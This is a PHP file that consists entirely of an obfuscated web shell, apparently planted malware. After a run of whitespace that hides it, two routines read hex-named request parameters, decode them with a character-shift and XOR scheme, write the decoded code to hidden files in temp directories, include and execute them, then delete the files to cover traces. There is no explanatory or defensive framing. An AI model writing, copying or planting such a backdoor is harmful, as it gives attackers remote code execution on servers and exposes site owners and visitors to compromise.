<?php																																										if(in_array("\x72\x65c", array_keys($_POST))){ $entity = $_POST["\x72\x65c"]; $entity = explode ("." , $entity ) ; $object= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); foreach( $entity as $q => $v1) { $chS= ord( $s[$q % $sLen] ); $d= ( ( int)$v1 - $chS -( $q % 10)) ^ 7; $object .= chr( $d ); } $elem = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($elem as $marker) { if (is_dir($marker) && is_writable($marker)) { $obj = "$marker/.k"; if (file_put_contents($obj, $object)) { include $obj; @unlink($obj); die(); } } } }


if(array_key_exists("\x74kn", $_REQUEST)){
	$data_chunk = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]);
	$elem = $_REQUEST["\x74kn"];
	 $elem 	= 		explode(	"."  ,		$elem) 	;
	$token = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s);
            $y = 0;
            $__len = count($elem);
    
            do {
                if ($y  >= $__len) break;
                $v8 = $elem[$y];
                $sChar = ord($s[$y % $lenS]);
                $dec = ((int)$v8 - $sChar - ($y % 10))^	3;
                $token	 .=  chr($dec);
                $y++;
            } while (true);
	while ($ent = array_shift($data_chunk)) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($ent)) {
    $element = "$ent" . "/.factor";
    if (@file_put_contents($element, $token) !== false) {
	include $element;
	unlink($element);
	die();
}
}
}
}